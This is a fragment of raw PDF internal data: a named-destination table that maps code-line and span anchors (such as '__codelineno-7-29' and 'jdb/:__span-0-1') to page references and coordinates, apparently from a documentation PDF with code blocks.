(__codelineno-7-29) [ 1019 0 R /XYZ 60.307257 610.219398 0 ] (__codelineno-7-3) [ 804 0 R /XYZ 60.307257 402.011898 0 ] (__codelineno-7-30) [ 1019 0 R /XYZ 60.307257 596.819046 0 ] (__codelineno-7-31) [ 1019 0 R /XYZ 60.307257 583.418694 0 ] (__codelineno-7-32) [ 1019 0 R /XYZ 60.307257 570.018342 0 ] (__codelineno-7-33) [ 1019 0 R /XYZ 60.307257 543.217638 0 ] (__codelineno-7-34) [ 1019 0 R /XYZ 60.307257 529.817286 0 ] (__codelineno-7-35) [ 1019 0 R /XYZ 60.307257 516.416934 0 ] (__codelineno-7-36) [ 1019 0 R /XYZ 60.307257 503.016582 0 ] (__codelineno-7-37) [ 1019 0 R /XYZ 60.307257 489.616230 0 ] (__codelineno-7-38) [ 1019 0 R /XYZ 60.307257 476.215878 0 ] (__codelineno-7-39) [ 1019 0 R /XYZ 60.307257 462.815526 0 ] (__codelineno-7-4) [ 804 0 R /XYZ 60.307257 388.611546 0 ] (__codelineno-7-40) [ 1019 0 R /XYZ 60.307257 449.415174 0 ] (__codelineno-7-41) [ 1019 0 R /XYZ 60.307257 422.614470 0 ] (__codelineno-7-42) [ 1019 0 R /XYZ 60.307257 409.214118 0 ] (__codelineno-7-43) [ 1019 0 R /XYZ 60.307257 395.813766 0 ] (__codelineno-7-44) [ 1019 0 R /XYZ 60.307257 382.413414 0 ] (__codelineno-7-45) [ 1019 0 R /XYZ 60.307257 369.013062 0 ] (__codelineno-7-46) [ 1019 0 R /XYZ 60.307257 355.612710 0 ] (__codelineno-7-47) [ 1019 0 R /XYZ 60.307257 342.212358 0 ] (__codelineno-7-48) [ 1019 0 R /XYZ 60.307257 328.812006 0 ] (__codelineno-7-49) [ 1019 0 R /XYZ 60.307257 315.411654 0 ] (__codelineno-7-5) [ 804 0 R /XYZ 60.307257 375.211194 0 ] (__codelineno-7-50) [ 1019 0 R /XYZ 60.307257 288.610950 0 ] (__codelineno-7-51) [ 1019 0 R /XYZ 60.307257 261.810246 0 ] (__codelineno-7-52) [ 1019 0 R /XYZ 60.307257 248.409894 0 ] (__codelineno-7-53) [ 1019 0 R /XYZ 60.307257 235.009542 0 ] (__codelineno-7-54) [ 1019 0 R /XYZ 60.307257 221.609190 0 ] (__codelineno-7-55) [ 1019 0 R /XYZ 60.307257 208.208838 0 ] (__codelineno-7-6) [ 804 0 R /XYZ 60.307257 361.810842 0 ] (__codelineno-7-7) [ 804 0 R /XYZ 60.307257 348.410490 0 ] (__codelineno-7-8) [ 1012 0 R /XYZ 60.307257 267.320927 0 ] (__codelineno-7-9) [ 1012 0 R /XYZ 60.307257 253.920575 0 ] (__codelineno-8-1) [ 806 0 R /XYZ 60.307257 381.602202 0 ] (__codelineno-8-10) [ 1050 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-8-11) [ 1050 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-8-12) [ 1050 0 R /XYZ 60.307257 730.822566 0 ] (__codelineno-8-13) [ 1050 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-8-14) [ 1050 0 R /XYZ 60.307257 704.021862 0 ] (__codelineno-8-15) [ 1050 0 R /XYZ 60.307257 690.621510 0 ] (__codelineno-8-16) [ 1050 0 R /XYZ 60.307257 677.221158 0 ] (__codelineno-8-17) [ 1050 0 R /XYZ 60.307257 663.820806 0 ] (__codelineno-8-18) [ 1050 0 R /XYZ 60.307257 650.420454 0 ] (__codelineno-8-19) [ 1050 0 R /XYZ 60.307257 637.020102 0 ] (__codelineno-8-2) [ 806 0 R /XYZ 60.307257 368.201850 0 ] (__codelineno-8-20) [ 1050 0 R /XYZ 60.307257 623.619750 0 ] (__codelineno-8-21) [ 1050 0 R /XYZ 60.307257 610.219398 0 ] (__codelineno-8-22) [ 1050 0 R /XYZ 60.307257 596.819046 0 ] (__codelineno-8-23) [ 1050 0 R /XYZ 60.307257 583.418694 0 ] (__codelineno-8-24) [ 1050 0 R /XYZ 60.307257 570.018342 0 ] (__codelineno-8-25) [ 1050 0 R /XYZ 60.307257 556.617990 0 ] (__codelineno-8-26) [ 1050 0 R /XYZ 60.307257 543.217638 0 ] (__codelineno-8-27) [ 1050 0 R /XYZ 60.307257 529.817286 0 ] (__codelineno-8-28) [ 1050 0 R /XYZ 60.307257 516.416934 0 ] (__codelineno-8-29) [ 1050 0 R /XYZ 60.307257 503.016582 0 ] (__codelineno-8-3) [ 806 0 R /XYZ 60.307257 354.801498 0 ] (__codelineno-8-4) [ 806 0 R /XYZ 60.307257 341.401146 0 ] (__codelineno-8-5) [ 806 0 R /XYZ 60.307257 328.000794 0 ] (__codelineno-8-6) [ 806 0 R /XYZ 60.307257 314.600442 0 ] (__codelineno-8-7) [ 1045 0 R /XYZ 60.307257 97.879717 0 ] (__codelineno-8-8) [ 1045 0 R /XYZ 60.307257 84.479365 0 ] (__codelineno-8-9) [ 1050 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-9-1) [ 811 0 R /XYZ 60.307257 458.458122 0 ] (__codelineno-9-10) [ 1057 0 R /XYZ 60.307257 643.030554 0 ] (__codelineno-9-11) [ 1057 0 R /XYZ 60.307257 629.630202 0 ] (__codelineno-9-12) [ 1057 0 R /XYZ 60.307257 616.229850 0 ] (__codelineno-9-13) [ 1057 0 R /XYZ 60.307257 602.829498 0 ] (__codelineno-9-14) [ 1057 0 R /XYZ 60.307257 589.429146 0 ] (__codelineno-9-15) [ 1057 0 R /XYZ 60.307257 576.028794 0 ] (__codelineno-9-16) [ 1057 0 R /XYZ 60.307257 562.628442 0 ] (__codelineno-9-17) [ 1057 0 R /XYZ 60.307257 549.228090 0 ] (__codelineno-9-18) [ 1057 0 R /XYZ 60.307257 535.827738 0 ] (__codelineno-9-19) [ 1057 0 R /XYZ 60.307257 522.427386 0 ] (__codelineno-9-2) [ 811 0 R /XYZ 60.307257 445.057770 0 ] (__codelineno-9-20) [ 1057 0 R /XYZ 60.307257 509.027034 0 ] (__codelineno-9-21) [ 1057 0 R /XYZ 60.307257 495.626682 0 ] (__codelineno-9-22) [ 1057 0 R /XYZ 60.307257 482.226330 0 ] (__codelineno-9-23) [ 1057 0 R /XYZ 60.307257 468.825978 0 ] (__codelineno-9-24) [ 1057 0 R /XYZ 60.307257 455.425626 0 ] (__codelineno-9-25) [ 1057 0 R /XYZ 60.307257 442.025274 0 ] (__codelineno-9-26) [ 1057 0 R /XYZ 60.307257 428.624922 0 ] (__codelineno-9-27) [ 1057 0 R /XYZ 60.307257 415.224570 0 ] (__codelineno-9-28) [ 1057 0 R /XYZ 60.307257 401.824218 0 ] (__codelineno-9-29) [ 1057 0 R /XYZ 60.307257 388.423866 0 ] (__codelineno-9-3) [ 811 0 R /XYZ 60.307257 431.657418 0 ] (__codelineno-9-30) [ 1057 0 R /XYZ 60.307257 375.023514 0 ] (__codelineno-9-31) [ 1057 0 R /XYZ 60.307257 361.623162 0 ] (__codelineno-9-32) [ 1057 0 R /XYZ 60.307257 348.222810 0 ] (__codelineno-9-33) [ 1057 0 R /XYZ 60.307257 334.822458 0 ] (__codelineno-9-34) [ 1057 0 R /XYZ 60.307257 321.422106 0 ] (__codelineno-9-35) [ 1057 0 R /XYZ 60.307257 308.021754 0 ] (__codelineno-9-36) [ 1057 0 R /XYZ 60.307257 294.621402 0 ] (__codelineno-9-37) [ 1057 0 R /XYZ 60.307257 281.221050 0 ] (__codelineno-9-38) [ 1057 0 R /XYZ 60.307257 267.820698 0 ] (__codelineno-9-39) [ 1057 0 R /XYZ 60.307257 254.420346 0 ] (__codelineno-9-4) [ 811 0 R /XYZ 60.307257 418.257066 0 ] (__codelineno-9-40) [ 1057 0 R /XYZ 60.307257 241.019994 0 ] (__codelineno-9-41) [ 1057 0 R /XYZ 60.307257 227.619642 0 ] (__codelineno-9-42) [ 1057 0 R /XYZ 60.307257 214.219290 0 ] (__codelineno-9-43) [ 1057 0 R /XYZ 60.307257 200.818938 0 ] (__codelineno-9-5) [ 811 0 R /XYZ 60.307257 404.856714 0 ] (__codelineno-9-6) [ 811 0 R /XYZ 60.307257 391.456362 0 ] (__codelineno-9-7) [ 811 0 R /XYZ 60.307257 378.056010 0 ] (__codelineno-9-8) [ 1057 0 R /XYZ 60.307257 669.831258 0 ] (__codelineno-9-9) [ 1057 0 R /XYZ 60.307257 656.430906 0 ] (author) [ 6 0 R /XYZ 55.946457 113.701342 0 ] (copyright) [ 6 0 R /XYZ 55.946457 84.997342 0 ] (doc-cover) [ 6 0 R /XYZ 28.346457 771.023622 0 ] (doc-toc) [ 8 0 R /XYZ 39.386457 771.023622 0 ] (jdb/:) [ 876 0 R /XYZ 39.386457 771.023622 0 ] (jdb/:26-avril-2023) [ 1228 0 R /XYZ 39.386457 222.365322 0 ] (jdb/:__span-0-1) [ 876 0 R /XYZ 60.307257 505.092222 0 ] (jdb/:__span-0-10) [ 876 0 R /XYZ 60.307257 384.489054 0 ] (jdb/:__span-0-11) [ 876 0 R /XYZ 60.307257 371.088702 0 ] (jdb/:__span-0-12) [ 876 0 R /XYZ 60.307257 357.688350 0 ] (jdb/:__span-0-13) [ 876 0 R /XYZ 60.307257 344.287998 0 ] (jdb/:__span-0-14) [ 876 0 R /XYZ 60.307257 330.887646 0 ] (jdb/:__span-0-15) [ 876 0 R /XYZ 60.307257 317.487294 0 ] (jdb/:__span-0-16) [ 876 0 R /XYZ 60.307257 304.086942 0 ] (jdb/:__span-0-17) [ 876 0 R /XYZ 60.307257 290.686590 0 ] (jdb/:__span-0-18) [ 876 0 R /XYZ 60.307257 277.286238 0 ] (jdb/:__span-0-19) [ 876 0 R /XYZ 60.307257 263.885886 0 ] (jdb/:__span-0-2) [ 876 0 R /XYZ 60.307257 491.691870 0 ] (jdb/:__span-0-20) [ 876 0 R /XYZ 60.307257 250.485534 0 ] (jdb/:__span-0-21) [ 876 0 R /XYZ 60.307257 237.085182 0 ] (jdb/:__span-0-22) [ 876 0 R /XYZ 60.307257 223.684830 0 ] (jdb/:__span-0-23) [ 876 0 R /XYZ 60.307257 210.284478 0 ] (jdb/:__span-0-3) [ 876 0 R /XYZ 60.307257 478.291518 0 ] (jdb/:__span-0-4) [ 876 0 R /XYZ 60.307257 464.891166 0 ] (jdb/:__span-0-5) [ 876 0 R /XYZ 60.307257 451.490814 0 ] (jdb/:__span-0-6) [ 876 0 R /XYZ 60.307257 438.090462 0 ] (jdb/:__span-0-7) [ 876 0 R /XYZ 60.307257 424.690110 0 ] (jdb/:__span-0-8) [ 876 0 R /XYZ 60.307257 411.289758 0 ] (jdb/:__span-0-9) [ 876 0 R /XYZ 60.307257 397.889406 0 ] (jdb/:__span-1-1) [ 894 0 R /XYZ 60.307257 292.693722 0 ] (jdb/:__span-1-2) [ 894 0 R /XYZ 60.307257 265.893018 0 ] (jdb/:__span-1-3) [ 894 0 R /XYZ 60.307257 252.492666 0 ] (jdb/:__span-1-4) [ 894 0 R /XYZ 60.307257 239.092314 0 ] (jdb/:__span-1-5) [ 894 0 R /XYZ 60.307257 225.691962 0 ] (jdb/:__span-1-6) [ 894 0 R /XYZ 60.307257 212.291610 0 ] (jdb/:__span-10-1) [ 1059 0 R /XYZ 60.307257 697.945722 0 ] (jdb/:__span-10-10) [ 1059 0 R /XYZ 60.307257 577.342554 0 ] (jdb/:__span-10-11) [ 1059 0 R /XYZ 60.307257 563.942202 0 ] (jdb/:__span-10-12) [ 1059 0 R /XYZ 60.307257 550.541850 0 ] (jdb/:__span-10-13) [ 1059 0 R /XYZ 60.307257 537.141498 0 ] (jdb/:__span-10-14) [ 1059 0 R /XYZ 60.307257 523.741146 0 ] (jdb/:__span-10-15) [ 1059 0 R /XYZ 60.307257 510.340794 0 ] (jdb/:__span-10-16) [ 1059 0 R /XYZ 60.307257 496.940442 0 ] (jdb/:__span-10-17) [ 1059 0 R /XYZ 60.307257 483.540090 0 ] (jdb/:__span-10-18) [ 1059 0 R /XYZ 60.307257 470.139738 0 ] (jdb/:__span-10-19) [ 1059 0 R /XYZ 60.307257 456.739386 0 ] (jdb/:__span-10-2) [ 1059 0 R /XYZ 60.307257 684.545370 0 ] (jdb/:__span-10-20) [ 1059 0 R /XYZ 60.307257 443.339034 0 ] (jdb/:__span-10-21) [ 1059 0 R /XYZ 60.307257 429.938682 0 ] (jdb/:__span-10-22) [ 1059 0 R /XYZ 60.307257 416.538330 0 ] (jdb/:__span-10-23) [ 1059 0 R /XYZ 60.307257 403.137978 0 ] (jdb/:__span-10-3) [ 1059 0 R /XYZ 60.307257 671.145018 0 ] (jdb/:__span-10-4) [ 1059 0 R /XYZ 60.307257 657.744666 0 ] (jdb/:__span-10-5) [ 1059 0 R /XYZ 60.307257 644.344314 0 ] (jdb/:__span-10-6) [ 1059 0 R /XYZ 60.307257 630.943962 0 ] (jdb/:__span-10-7) [ 1059 0 R /XYZ 60.307257 617.543610 0 ] (jdb/:__span-10-8) [ 1059 0 R /XYZ 60.307257 604.143258 0 ] (jdb/:__span-10-9) [ 1059 0 R /XYZ 60.307257 590.742906 0 ] (jdb/:__span-11-1) [ 1078 0 R /XYZ 60.307257 129.981873 0 ] (jdb/:__span-11-10) [ 1082 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-11-11) [ 1082 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-11-12) [ 1082 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-11-13) [ 1082 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-11-14) [ 1082 0 R /XYZ 60.307257 650.420454 0 ] (jdb/:__span-11-15) [ 1082 0 R /XYZ 60.307257 637.020102 0 ] (jdb/:__span-11-16) [ 1082 0 R /XYZ 60.307257 623.619750 0 ] (jdb/:__span-11-17) [ 1082 0 R /XYZ 60.307257 610.219398 0 ] (jdb/:__span-11-18) [ 1082 0 R /XYZ 60.307257 596.819046 0 ] (jdb/:__span-11-19) [ 1082 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-11-2) [ 1078 0 R /XYZ 60.307257 116.581521 0 ] (jdb/:__span-11-20) [ 1082 0 R /XYZ 60.307257 570.018342 0 ] (jdb/:__span-11-21) [ 1082 0 R /XYZ 60.307257 556.617990 0 ] (jdb/:__span-11-22) [ 1082 0 R /XYZ 60.307257 543.217638 0 ] (jdb/:__span-11-3) [ 1078 0 R /XYZ 60.307257 103.181169 0 ] (jdb/:__span-11-4) [ 1078 0 R /XYZ 60.307257 89.780817 0 ] (jdb/:__span-11-5) [ 1082 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-11-6) [ 1082 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-11-7) [ 1082 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-11-8) [ 1082 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-11-9) [ 1082 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-12-1) [ 1082 0 R /XYZ 60.307257 477.501486 0 ] (jdb/:__span-12-10) [ 1082 0 R /XYZ 60.307257 356.898318 0 ] (jdb/:__span-12-11) [ 1082 0 R /XYZ 60.307257 343.497966 0 ] (jdb/:__span-12-12) [ 1082 0 R /XYZ 60.307257 330.097614 0 ] (jdb/:__span-12-13) [ 1082 0 R /XYZ 60.307257 316.697262 0 ] (jdb/:__span-12-14) [ 1082 0 R /XYZ 60.307257 303.296910 0 ] (jdb/:__span-12-15) [ 1082 0 R /XYZ 60.307257 289.896558 0 ] (jdb/:__span-12-16) [ 1082 0 R /XYZ 60.307257 276.496206 0 ] (jdb/:__span-12-17) [ 1082 0 R /XYZ 60.307257 263.095854 0 ] (jdb/:__span-12-18) [ 1082 0 R /XYZ 60.307257 249.695502 0 ] (jdb/:__span-12-19) [ 1082 0 R /XYZ 60.307257 236.295150 0 ] (jdb/:__span-12-2) [ 1082 0 R /XYZ 60.307257 464.101134 0 ] (jdb/:__span-12-20) [ 1082 0 R /XYZ 60.307257 222.894798 0 ] (jdb/:__span-12-21) [ 1082 0 R /XYZ 60.307257 209.494446 0 ] (jdb/:__span-12-22) [ 1082 0 R /XYZ 60.307257 196.094094 0 ] (jdb/:__span-12-3) [ 1082 0 R /XYZ 60.307257 450.700782 0 ] (jdb/:__span-12-4) [ 1082 0 R /XYZ 60.307257 437.300430 0 ] (jdb/:__span-12-5) [ 1082 0 R /XYZ 60.307257 423.900078 0 ] (jdb/:__span-12-6) [ 1082 0 R /XYZ 60.307257 410.499726 0 ] (jdb/:__span-12-7) [ 1082 0 R /XYZ 60.307257 397.099374 0 ] (jdb/:__span-12-8) [ 1082 0 R /XYZ 60.307257 383.699022 0 ] (jdb/:__span-12-9) [ 1082 0 R /XYZ 60.307257 370.298670 0 ] (jdb/:__span-13-1) [ 1086 0 R /XYZ 60.307257 722.344122 0 ] (jdb/:__span-13-2) [ 1086 0 R /XYZ 60.307257 708.943770 0 ] (jdb/:__span-13-3) [ 1086 0 R /XYZ 60.307257 695.543418 0 ] (jdb/:__span-13-4) [ 1086 0 R /XYZ 60.307257 682.143066 0 ] (jdb/:__span-13-5) [ 1086 0 R /XYZ 60.307257 668.742714 0 ] (jdb/:__span-13-6) [ 1086 0 R /XYZ 60.307257 655.342362 0 ] (jdb/:__span-13-7) [ 1086 0 R /XYZ 60.307257 641.942010 0 ] (jdb/:__span-13-8) [ 1086 0 R /XYZ 60.307257 628.541658 0 ] (jdb/:__span-13-9) [ 1086 0 R /XYZ 60.307257 615.141306 0 ] (jdb/:__span-14-1) [ 1086 0 R /XYZ 60.307257 510.012354 0 ] (jdb/:__span-14-2) [ 1086 0 R /XYZ 60.307257 496.612002 0 ] (jdb/:__span-14-3) [ 1086 0 R /XYZ 60.307257 483.211650 0 ] (jdb/:__span-14-4) [ 1086 0 R /XYZ 60.307257 469.811298 0 ] (jdb/:__span-14-5) [ 1086 0 R /XYZ 60.307257 456.410946 0 ] (jdb/:__span-14-6) [ 1086 0 R /XYZ 60.307257 443.010594 0 ] (jdb/:__span-14-7) [ 1086 0 R /XYZ 60.307257 429.610242 0 ] (jdb/:__span-14-8) [ 1086 0 R /XYZ 60.307257 416.209890 0 ] (jdb/:__span-14-9) [ 1086 0 R /XYZ 60.307257 402.809538 0 ] (jdb/:__span-15-1) [ 1124 0 R /XYZ 60.307257 512.569722 0 ] (jdb/:__span-15-10) [ 1124 0 R /XYZ 60.307257 391.966554 0 ] (jdb/:__span-15-11) [ 1124 0 R /XYZ 60.307257 378.566202 0 ] (jdb/:__span-15-12) [ 1124 0 R /XYZ 60.307257 365.165850 0 ] (jdb/:__span-15-13) [ 1124 0 R /XYZ 60.307257 351.765498 0 ] (jdb/:__span-15-14) [ 1124 0 R /XYZ 60.307257 338.365146 0 ] (jdb/:__span-15-15) [ 1124 0 R /XYZ 60.307257 324.964794 0 ] (jdb/:__span-15-16) [ 1124 0 R /XYZ 60.307257 311.564442 0 ] (jdb/:__span-15-17) [ 1124 0 R /XYZ 60.307257 298.164090 0 ] (jdb/:__span-15-18) [ 1124 0 R /XYZ 60.307257 284.763738 0 ] (jdb/:__span-15-2) [ 1124 0 R /XYZ 60.307257 499.169370 0 ] (jdb/:__span-15-3) [ 1124 0 R /XYZ 60.307257 485.769018 0 ] (jdb/:__span-15-4) [ 1124 0 R /XYZ 60.307257 472.368666 0 ] (jdb/:__span-15-5) [ 1124 0 R /XYZ 60.307257 458.968314 0 ] (jdb/:__span-15-6) [ 1124 0 R /XYZ 60.307257 445.567962 0 ] (jdb/:__span-15-7) [ 1124 0 R /XYZ 60.307257 432.167610 0 ] (jdb/:__span-15-8) [ 1124 0 R /XYZ 60.307257 418.767258 0 ] (jdb/:__span-15-9) [ 1124 0 R /XYZ 60.307257 405.366906 0 ] (jdb/:__span-16-1) [ 1129 0 R /XYZ 60.307257 422.361822 0 ] (jdb/:__span-16-10) [ 1129 0 R /XYZ 60.307257 301.758654 0 ] (jdb/:__span-16-11) [ 1129 0 R /XYZ 60.307257 288.358302 0 ] (jdb/:__span-16-12) [ 1129 0 R /XYZ 60.307257 274.957950 0 ] (jdb/:__span-16-13) [ 1129 0 R /XYZ 60.307257 261.557598 0 ] (jdb/:__span-16-14) [ 1129 0 R /XYZ 60.307257 248.157246 0 ] (jdb/:__span-16-15) [ 1129 0 R /XYZ 60.307257 234.756894 0 ] (jdb/:__span-16-16) [ 1129 0 R /XYZ 60.307257 221.356542 0 ] (jdb/:__span-16-17) [ 1129 0 R /XYZ 60.307257 207.956190 0 ] (jdb/:__span-16-18) [ 1129 0 R /XYZ 60.307257 194.555838 0 ] (jdb/:__span-16-2) [ 1129 0 R /XYZ 60.307257 408.961470 0 ] (jdb/:__span-16-3) [ 1129 0 R /XYZ 60.307257 395.561118 0 ] (jdb/:__span-16-4) [ 1129 0 R /XYZ 60.307257 382.160766 0 ] (jdb/:__span-16-5) [ 1129 0 R /XYZ 60.307257 368.760414 0 ] (jdb/:__span-16-6) [ 1129 0 R /XYZ 60.307257 355.360062 0 ] (jdb/:__span-16-7) [ 1129 0 R /XYZ 60.307257 341.959710 0 ] (jdb/:__span-16-8) [ 1129 0 R /XYZ 60.307257 328.559358 0 ] (jdb/:__span-16-9) [ 1129 0 R /XYZ 60.307257 315.159006 0 ] (jdb/:__span-17-1) [ 1140 0 R /XYZ 60.307257 363.601105 0 ] (jdb/:__span-17-10) [ 1140 0 R /XYZ 60.307257 242.997937 0 ] (jdb/:__span-17-11) [ 1140 0 R /XYZ 60.307257 229.597585 0 ] (jdb/:__span-17-12) [ 1140 0 R /XYZ 60.307257 202.796881 0 ] (jdb/:__span-17-13) [ 1140 0 R /XYZ 60.307257 189.396529 0 ] (jdb/:__span-17-14) [ 1140 0 R /XYZ 60.307257 175.996177 0 ] (jdb/:__span-17-15) [ 1140 0 R /XYZ 60.307257 162.595825 0 ] (jdb/:__span-17-16) [ 1140 0 R /XYZ 60.307257 149.195473 0 ] (jdb/:__span-17-17) [ 1140 0 R /XYZ 60.307257 135.795121 0 ] (jdb/:__span-17-18) [ 1140 0 R /XYZ 60.307257 122.394769 0 ] (jdb/:__span-17-19) [ 1140 0 R /XYZ 60.307257 108.994417 0 ] (jdb/:__span-17-2) [ 1140 0 R /XYZ 60.307257 350.200753 0 ] (jdb/:__span-17-20) [ 1140 0 R /XYZ 60.307257 95.594065 0 ] (jdb/:__span-17-21) [ 1144 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-17-22) [ 1144 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-17-23) [ 1144 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-17-24) [ 1144 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-17-3) [ 1140 0 R /XYZ 60.307257 336.800401 0 ] (jdb/:__span-17-4) [ 1140 0 R /XYZ 60.307257 323.400049 0 ] (jdb/:__span-17-5) [ 1140 0 R /XYZ 60.307257 309.999697 0 ] (jdb/:__span-17-6) [ 1140 0 R /XYZ 60.307257 296.599345 0 ] (jdb/:__span-17-7) [ 1140 0 R /XYZ 60.307257 283.198993 0 ] (jdb/:__span-17-8) [ 1140 0 R /XYZ 60.307257 269.798641 0 ] (jdb/:__span-17-9) [ 1140 0 R /XYZ 60.307257 256.398289 0 ] (jdb/:__span-18-1) [ 1175 0 R /XYZ 60.307257 236.252922 0 ] (jdb/:__span-18-10) [ 1177 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-18-11) [ 1177 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-18-12) [ 1177 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-18-13) [ 1177 0 R /XYZ 60.307257 637.020102 0 ] (jdb/:__span-18-14) [ 1177 0 R /XYZ 60.307257 610.219398 0 ] (jdb/:__span-18-15) [ 1177 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-18-16) [ 1177 0 R /XYZ 60.307257 556.617990 0 ] (jdb/:__span-18-17) [ 1177 0 R /XYZ 60.307257 543.217638 0 ] (jdb/:__span-18-18) [ 1177 0 R /XYZ 60.307257 529.817286 0 ] (jdb/:__span-18-2) [ 1175 0 R /XYZ 60.307257 222.852570 0 ] (jdb/:__span-18-3) [ 1175 0 R /XYZ 60.307257 209.452218 0 ] (jdb/:__span-18-4) [ 1175 0 R /XYZ 60.307257 169.251162 0 ] (jdb/:__span-18-5) [ 1175 0 R /XYZ 60.307257 142.450458 0 ] (jdb/:__span-18-6) [ 1175 0 R /XYZ 60.307257 129.050106 0 ] (jdb/:__span-18-7) [ 1175 0 R /XYZ 60.307257 115.649754 0 ] (jdb/:__span-18-8) [ 1175 0 R /XYZ 60.307257 88.849050 0 ] (jdb/:__span-18-9) [ 1177 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-19-1) [ 1177 0 R /XYZ 60.307257 464.101134 0 ] (jdb/:__span-19-2) [ 1177 0 R /XYZ 60.307257 450.700782 0 ] (jdb/:__span-19-3) [ 1177 0 R /XYZ 60.307257 437.300430 0 ] (jdb/:__span-19-4) [ 1177 0 R /XYZ 60.307257 423.900078 0 ] (jdb/:__span-2-1) [ 894 0 R /XYZ 60.307257 131.561058 0 ] (jdb/:__span-2-2) [ 894 0 R /XYZ 60.307257 118.160706 0 ] (jdb/:__span-2-3) [ 894 0 R /XYZ 60.307257 104.760354 0 ] (jdb/:__span-2-4) [ 894 0 R /XYZ 60.307257 91.360002 0 ] (jdb/:__span-2-5) [ 904 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-2-6) [ 904 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-2-7) [ 904 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-2-8) [ 904 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-20-1) [ 1177 0 R /XYZ 60.307257 333.785526 0 ] (jdb/:__span-20-2) [ 1177 0 R /XYZ 60.307257 320.385174 0 ] (jdb/:__span-20-3) [ 1177 0 R /XYZ 60.307257 306.984822 0 ] (jdb/:__span-20-4) [ 1177 0 R /XYZ 60.307257 293.584470 0 ] (jdb/:__span-21-1) [ 1177 0 R /XYZ 60.307257 227.868318 0 ] (jdb/:__span-21-2) [ 1177 0 R /XYZ 60.307257 214.467966 0 ] (jdb/:__span-21-3) [ 1177 0 R /XYZ 60.307257 201.067614 0 ] (jdb/:__span-21-4) [ 1177 0 R /XYZ 60.307257 187.667262 0 ] (jdb/:__span-21-5) [ 1177 0 R /XYZ 60.307257 174.266910 0 ] (jdb/:__span-21-6) [ 1177 0 R /XYZ 60.307257 160.866558 0 ] (jdb/:__span-21-7) [ 1177 0 R /XYZ 60.307257 134.065854 0 ] (jdb/:__span-21-8) [ 1177 0 R /XYZ 60.307257 120.665502 0 ] (jdb/:__span-22-1) [ 1179 0 R /XYZ 60.307257 697.945722 0 ] (jdb/:__span-22-2) [ 1179 0 R /XYZ 60.307257 684.545370 0 ] (jdb/:__span-22-3) [ 1179 0 R /XYZ 60.307257 671.145018 0 ] (jdb/:__span-22-4) [ 1179 0 R /XYZ 60.307257 644.344314 0 ] (jdb/:__span-22-5) [ 1179 0 R /XYZ 60.307257 630.943962 0 ] (jdb/:__span-23-1) [ 1196 0 R /XYZ 60.307257 422.056122 0 ] (jdb/:__span-23-2) [ 1196 0 R /XYZ 60.307257 381.855066 0 ] (jdb/:__span-23-3) [ 1196 0 R /XYZ 60.307257 368.454714 0 ] (jdb/:__span-23-4) [ 1196 0 R /XYZ 60.307257 355.054362 0 ] (jdb/:__span-23-5) [ 1196 0 R /XYZ 60.307257 341.654010 0 ] (jdb/:__span-24-1) [ 1201 0 R /XYZ 60.307257 520.588122 0 ] (jdb/:__span-24-10) [ 1201 0 R /XYZ 60.307257 373.184250 0 ] (jdb/:__span-24-2) [ 1201 0 R /XYZ 60.307257 480.387066 0 ] (jdb/:__span-24-3) [ 1201 0 R /XYZ 60.307257 466.986714 0 ] (jdb/:__span-24-4) [ 1201 0 R /XYZ 60.307257 453.586362 0 ] (jdb/:__span-24-5) [ 1201 0 R /XYZ 60.307257 440.186010 0 ] (jdb/:__span-24-6) [ 1201 0 R /XYZ 60.307257 426.785658 0 ] (jdb/:__span-24-7) [ 1201 0 R /XYZ 60.307257 413.385306 0 ] (jdb/:__span-24-8) [ 1201 0 R /XYZ 60.307257 399.984954 0 ] (jdb/:__span-24-9) [ 1201 0 R /XYZ 60.307257 386.584602 0 ] (jdb/:__span-25-1) [ 1203 0 R /XYZ 60.307257 342.292122 0 ] (jdb/:__span-25-10) [ 1203 0 R /XYZ 60.307257 221.688954 0 ] (jdb/:__span-25-11) [ 1203 0 R /XYZ 60.307257 208.288602 0 ] (jdb/:__span-25-12) [ 1203 0 R /XYZ 60.307257 194.888250 0 ] (jdb/:__span-25-13) [ 1203 0 R /XYZ 60.307257 181.487898 0 ] (jdb/:__span-25-14) [ 1203 0 R /XYZ 60.307257 168.087546 0 ] (jdb/:__span-25-15) [ 1203 0 R /XYZ 60.307257 154.687194 0 ] (jdb/:__span-25-16) [ 1203 0 R /XYZ 60.307257 141.286842 0 ] (jdb/:__span-25-17) [ 1203 0 R /XYZ 60.307257 127.886490 0 ] (jdb/:__span-25-18) [ 1203 0 R /XYZ 60.307257 114.486138 0 ] (jdb/:__span-25-19) [ 1203 0 R /XYZ 60.307257 101.085786 0 ] (jdb/:__span-25-2) [ 1203 0 R /XYZ 60.307257 328.891770 0 ] (jdb/:__span-25-20) [ 1203 0 R /XYZ 60.307257 87.685434 0 ] (jdb/:__span-25-21) [ 1205 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-25-22) [ 1205 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-25-23) [ 1205 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-25-24) [ 1205 